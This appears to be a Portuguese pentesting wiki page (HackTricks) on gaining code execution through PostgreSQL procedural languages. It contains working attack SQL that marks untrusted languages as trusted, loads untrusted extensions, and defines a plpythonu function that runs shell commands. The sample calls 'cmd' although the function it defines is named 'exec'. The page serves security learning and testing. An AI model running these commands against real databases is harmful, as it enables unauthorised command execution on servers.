RCE com Linguagens PostgreSQL
Reading time: 6 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Linguagens PostgreSQL
O banco de dados PostgreSQL ao qual você teve acesso pode ter diferentes linguagens de script instaladas que você pode abusar para executar código arbitrário.
Você pode fazê-las funcionar:
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
A maioria das linguagens de script que você pode instalar no PostgreSQL tem 2 sabores: o confiável e o não confiável. O não confiável terá um nome terminado em "u" e será a versão que permitirá que você execute código e use outras funções interessantes. Essas são linguagens que, se instaladas, são interessantes:
- plpythonu
- plpython3u
- plperlu
- pljavaU
- plrubyu
- ... (qualquer outra linguagem de programação usando uma versão insegura)
warning
Se você descobrir que uma linguagem interessante está instalada mas não confiável pelo PostgreSQL (lanpltrusted
é false
) você pode tentar confiar nela com a seguinte linha para que nenhuma restrição seja aplicada pelo PostgreSQL:
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# Para verificar suas permissões sobre a tabela pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
caution
Se você não ver uma linguagem, pode tentar carregá-la com (você precisa ser superadmin):
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;
Note que é possível compilar as versões seguras como "inseguras". Confira isso como exemplo. Portanto, sempre vale a pena tentar se você pode executar código, mesmo que você só encontre a versão confiável instalada.
plpythonu/plpython3u
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
pgSQL
Verifique a seguinte página:
C
Verifique a seguinte página:
RCE with PostgreSQL Extensions
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.